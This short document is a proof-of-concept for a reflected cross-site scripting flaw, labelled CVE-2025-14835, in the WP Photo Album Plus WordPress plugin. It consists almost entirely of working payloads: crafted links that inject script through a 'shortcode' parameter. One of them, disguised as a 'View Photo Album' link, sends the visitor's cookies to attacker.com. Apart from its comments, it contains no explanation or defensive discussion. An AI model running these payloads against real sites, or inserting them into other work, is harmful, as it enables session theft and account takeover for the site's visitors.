CVE-2025-14835

<!-- CVE-2025-14835 PoC - Reflected XSS in WP Photo Album Plus --> <!-- Attack URL - Inject arbitrary JavaScript --> <a href="http://target-site.com/?shortcode=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E">Click Here</a> <!-- Example attack payload --> <!-- shortcode parameter value: "><script>alert('XSS')</script> --> <!-- More sophisticated payload for cookie stealing --> <a href="http://target-site.com/?shortcode=%22%3E%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/steal?cookie='+document.cookie)%22%3E">View Photo Album</a>

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